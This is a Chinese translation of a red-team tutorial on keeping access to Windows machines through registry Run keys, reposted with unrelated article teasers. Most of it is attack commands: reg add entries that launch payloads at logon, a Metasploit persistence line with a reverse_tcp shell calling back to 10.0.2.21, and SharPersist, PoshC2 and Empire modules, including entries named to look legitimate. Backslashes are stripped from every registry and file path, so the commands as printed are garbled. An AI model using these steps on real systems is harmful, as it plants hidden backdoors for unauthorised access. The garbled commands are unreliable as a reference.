Window权限维持(一):注册表运行键

小编 2026-06-30 阅读:1443 评论:0
译文声明:本文由Bypass整理并翻译,仅用于安全研究和学习之用。 原文地址:https://pentestlab.blog/2019/10/01/persistence-registry-run-keys/在红队行动中在网络中获得最初的立...
译文声明:本文由Bypass整理并翻译,仅用于安全研究和学习之用。
原文地址:https://pentestlab.blog/2019/10/01/persistence-registry-run-keys/

在红队行动中在网络中获得最初的立足点是一项耗时的任务。因此,持久性是红队成功运作的关键,这将使团队能够专注于目标,而不会失去与指挥和控制服务器的通信。

在Windows登录期间创建将执行任意负载的注册表项是红队游戏手册中最古老的技巧之一。这种持久性技术需要创建注册表运行键各种威胁因素和已知工具,如Metasploit、Empire和SharPersist,都提供了这种能力,因此,成熟的SOC团队将能够检测到这种恶意活动。

命令行

注册表项可以从终端添加到运行键以实现持久性。这些键将包含对用户登录时将执行的实际负载的引用,已知使用此持久性方法的威胁因素和红队使用以下注册表位置。

reg add "HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionRun" /v Pentestlab /t REG_SZ /d "C:Userspentestlabpentestlab.exe"
reg add "HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionRunOnce" /v Pentestlab /t REG_SZ /d "C:Userspentestlabpentestlab.exe"
reg add "HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionRunServices" /v Pentestlab /t REG_SZ /d "C:Userspentestlabpentestlab.exe"
reg add "HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionRunServicesOnce" /v Pentestlab /t REG_SZ /d "C:Userspentestlabpentestlab.exe"

注册表–当前用户的运行键

如果已获得提升的凭据,则最好使用本地计算机注册表位置,而不是当前用户,因为有效负载将在每次系统启动时执行,而与使用系统身份验证的用户无关。

reg add "HKEY_LOCAL_MACHINESoftwareMicrosoftWindowsCurrentVersionRun" /v Pentestlab /t REG_SZ /d "C:	mppentestlab.exe"
reg add "HKEY_LOCAL_MACHINESoftwareMicrosoftWindowsCurrentVersionRunOnce" /v Pentestlab /t REG_SZ /d "C:	mppentestlab.exe"
reg add "HKEY_LOCAL_MACHINESoftwareMicrosoftWindowsCurrentVersionRunServices" /v Pentestlab /t REG_SZ /d "C:	mppentestlab.exe"
reg add "HKEY_LOCAL_MACHINESoftwareMicrosoftWindowsCurrentVersionRunServicesOnce" /v Pentestlab /t REG_SZ /d "C:	mppentestlab.exe"

注册表–运行键本地计算机

在下一次登录期间,有效负载将执行并与回传给Meterpeter。

Meterpreter –运行键

另外两个注册表位置,这些位置可以允许红队通过执行任意有效负载或DLL来实现持久性。这些将在登录期间执行,并且需要管理员级别的特权。

reg add "HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionRunOnceEx001" /v Pentestlab /t REG_SZ /d "C:	mppentestlab.exe"
reg add "HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionRunOnceEx001Depend" /v Pentestlab /t REG_SZ /d "C:	mppentestlab.dll"

Meterpreter –任意DLL

Metasploit

Metasploit Framework通过使用Meterpreter脚本和后期利用模块来支持通过注册表的持久性。Meterpreter脚本将以VBS脚本的形式创建一个有效负载,该负载将被拖放到磁盘上,并将创建一个注册表项,该注册表项将在用户登录期间运行该有效负载。

run persistence -U -P windows/x64/meterpreter/reverse_tcp -i 5 -p 443 -r 10.0.2.21

Metasploit – Meterpreter持久性脚本

用户下次登录系统时,将打开一个新的Meterpreter会话。

Metasploit – Meterpreter会话

另外,还有一个后期开发模块,可用于持久性。该模块需要以下配置,并将可执行文件放置在受感染系统上的可写位置。

use post/windows/manage/persistence_exe
set REXEPATH /tmp/pentestlab.exe
set SESSION 2
set STARTUP USER
set LOCALEXEPATH C:\tmp
run

Metasploit –持久性利用后开发模块配置

由于已选择USER作为选项,该模块将使用当前用户的注册表位置。

Metasploit –持久性后期开发模块

如果已获得系统级别的特权,则可以将该模块配置为在HKLM位置中创建注册表项。该STARTUP选项将需要改变系统。

set STARTUP SYSTEM

Metasploit –作为系统的持久性模块

SharPersist

SharPersist是Brett Hawkins在C#中开发的工具,它结合了多种持久性技术,包括添加注册表运行键。该工具包可以加载到支持反射加载的各种命令和控制框架中,例如Cobalt Strike和PoshC2。以下命令将创建一个注册表项,该注册表项将从与Metasploit Framework模块相同的注册表位置执行任意有效负载。

SharPersist -t reg -c "C:WindowsSystem32cmd.exe" -a "/c C:	mppentestlab.exe" -k "hkcurun" -v "pentestlab" -m add

SharPersist –以用户身份注册

如果已获得提升的访问权限,请修改命令以在本地计算机位置中安装注册表项,以实现所有用户的持久性。

SharPersist -t reg -c "C:WindowsSystem32cmd.exe" -a "/c C:	mppentestlab.exe" -k "hklmrun" -v "pentestlab" -m add -o env

SharPersist –注册为SYSTEM

SharPersist还通过RunOnceRunOnceEx注册表项包含持久性功能。以下命令将在这些位置创建注册表项,这些注册表项将执行任意有效负载。

SharPersist -t reg -c "C:WindowsSystem32cmd.exe" -a "/c pentestlab.exe" -k "hklmrunonce" -v "Pentestlab" -m add
SharPersist -t reg -c "C:WindowsSystem32cmd.exe" -a "/c pentestlab.exe" -k "hklmrunonceex" -v "Pentestlab" -m add
SharPersist -t reg -c "C:WindowsSystem32cmd.exe" -a "/c pentestlab.exe" -k "hkcurunonce" -v "Pentestlab" -m add

SharPersist – RunOnce注册表项

SharPersist还提供了使用另一个注册表位置进行持久化的选项(UserInitMprLogonScript)。

SharPersist -t reg -c "C:WindowsSystem32cmd.exe" -a "/c pentestlab.exe" -k "logonscript" -m add

SharPersist –登录脚本

PoshC2

PoshC2支持各种持久性功能,包括注册表运行键的方法。以下命令将在目标主机中创建两个注册表项。

install-persistence

PoshC2 –持久性

注册表的“运行”项将具有IEUpdate的名称,以便看起来合法,第二个注册表项将作为墙纸隐藏在注册表中。

PoshC2 –注册表运行键

Empire

如果将Empire用作命令和控件,Empire包含两个与通过注册表运行项与持久性技术对齐的模块。根据特权级别,这些模块将尝试在以下注册表位置中安装base64有效负载:

HKCU:SOFTWAREMicrosoftWindowsCurrentVersionDebug
HKLM:SOFTWAREMicrosoftWindowsCurrentVersionDebug

Empire – Debug 注册表项有效负载

usemodule persistence/userland/registry
usemodule persistence/elevated/registry*

Empire –Persistence Registry Module

将在名称Updater下创建另一个注册表项,该注册表项将包含要执行的命令。PowerShell将尝试在下次登录时运行Debug密钥中存储的有效负载,以实现持久性。

HKCU:SOFTWAREMicrosoftWindowsCurrentVersionRun
HKLM:SOFTWAREMicrosoftWindowsCurrentVersionRun

Empire – Registry Run Key

版权声明

本文仅代表作者观点,不代表百度立场。
本文系作者授权百度百家发表,未经许可,不得转载。

热门文章
  • 机房智能化温湿度解决方式之POE供电以太网温湿度传感器

    机房智能化温湿度解决方式之POE供电以太网温湿度传感器
    机房智能化温湿度解决方式之POE供电以太网温湿度传感器 北京盈创力和电子科技有限公司 智能型TCP网口温湿度记录仪 北京IP网络温湿度记录仪厂家,北京盈创力和 北京智能型TCP网口温湿度记录仪IP网络温湿度记录仪是一种新型的基于TCP/IP协议双绞线以太网标准温湿度采集模块,利用它可以实现现场温度值、相对湿度值的采集,同时利用其自身的RJ45通信接口可以方便地和机房监控主机或交换机集线器进行联网。 工作于-40℃~85℃工业级带...
  • Sequential Monte Carlo Methods (SMC) 序列蒙特卡洛/粒子滤波/Bootstrap Filtering

    Sequential Monte Carlo Methods (SMC) 序列蒙特卡洛/粒子滤波/Bootstrap Filtering
    Problem Statement 我们考虑一个具有马尔可夫性质、非线性、非高斯的状态空间模型(State Space Model):对于一个时间序列上的观测结果{yt,t∈N}\\{ y_t , t \\in N \\}{yt​,t∈N},我们认为每个观测结果yty_tyt​的生成依赖于一个无法直接观察的隐变量xt∈{xt,t∈N}x_t \\in \\{x_t , t \\in N \\}xt​∈{xt​,t∈N},即:p(...
  • HTTP状态保持的原理

    HTTP状态保持的原理
    a)在用户登录之后,浏览器返回响应的时候会在响应中添加上cookieb)浏览器接收到cookie之后会自动保存c)当用户再次请求同一服务器中的其他网页的时候,浏览器会自动带上之前保存的cookied)服务接收到请求之后可以请 request 对象中取到cookie 判断当前用户是否登录  Http是无状态的,就是连接时数据互通,关闭后...
  • Hive 系统函数及示例

    Hive 系统函数及示例
    查看所有系统函数 show functions; 函数分类 内置函数【系统函数】 数学函数: floor、round、ceil、cos、log2等 字符串函数: length、reverse、trim、lower、get_json_object、repeat等 收集函数: size 转换函数: cast 日期函数: year、month、datediff、date、date_add等 条件函数: coalesce、case…w...
  • CSRF的原理和防范措施

    CSRF的原理和防范措施
    a)攻击原理:i.用户C访问正常网站A时进行登录,浏览器保存A的cookieii.用户C再访问攻击网站B,网站B上有某个隐藏的链接或者图片标签会自动请求网站A的URL地址,例如表单提交,传指定的参数iii.而攻击网站B在访问网站A的时候,浏览器会自动带上网站A的cookieiv.所以网站A在接收到请求之后可判断当前用户是登录状态,所以...
标签列表